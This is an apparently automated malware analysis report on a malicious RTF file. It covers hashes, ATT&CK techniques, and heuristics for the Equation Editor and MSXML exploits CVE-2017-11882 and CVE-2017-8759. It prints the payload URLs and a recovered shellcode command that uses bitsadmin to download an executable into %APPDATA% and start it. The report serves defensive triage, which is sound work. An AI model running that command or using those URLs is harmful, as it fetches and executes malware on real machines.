RTF malware analysis — malicious · 00b95301bb6f4af2

MALICIOUS

RTF

265.1 KB Created: 2018-07-03 09:28:00 First seen: 2020-02-04

MD5: 1f4a87fff6575c3ece51f4c8d13656f8 SHA-1: 5e8d79512dd06022d5040f1e1205f347f79b27ff SHA-256: 00b95301bb6f4af25072e154756f04a162da9e153523b04326e225f65fadcadc

322 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and exploits known vulnerabilities (CVE-2017-11882 and CVE-2017-8759) to achieve code execution. The extracted artifact 'objdata_00_off0000bf6b.bin' likely contains shellcode, and the embedded URLs suggest the download of a secondary executable payload. This indicates a malicious document designed to exploit vulnerabilities and download further malware.

Heuristics 8

CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759

RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
ClamAV: Doc.Exploit.Cve_2017_11882-7570663-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Exploit.Cve_2017_11882-7570663-1
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://uploadvirus.com/uploads/TEYJYZorigin.exe In RTF body
- https://uploadvirus.com/uploads/UJYQLJLQFKEZ.exeIn RTF body
- http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000bf6b.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xBF6B	15966 bytes
SHA-256: `6fddc8598e23bc3e4ebe16f6684f7dc45433ddc082437a6e349dcfc3b8422e5f`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): https://uploadvirus.com/uploads/TEYJYZorigin.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer UN /priority foreground https://uploadvirus.com/uploads/TEYJYZorigin.exe %APPDATA%\scv.exe && start %APPDATA%\scv.exe & bitsadmin /trans

Open this report in the interactive analyzer, or submit your own file for analysis.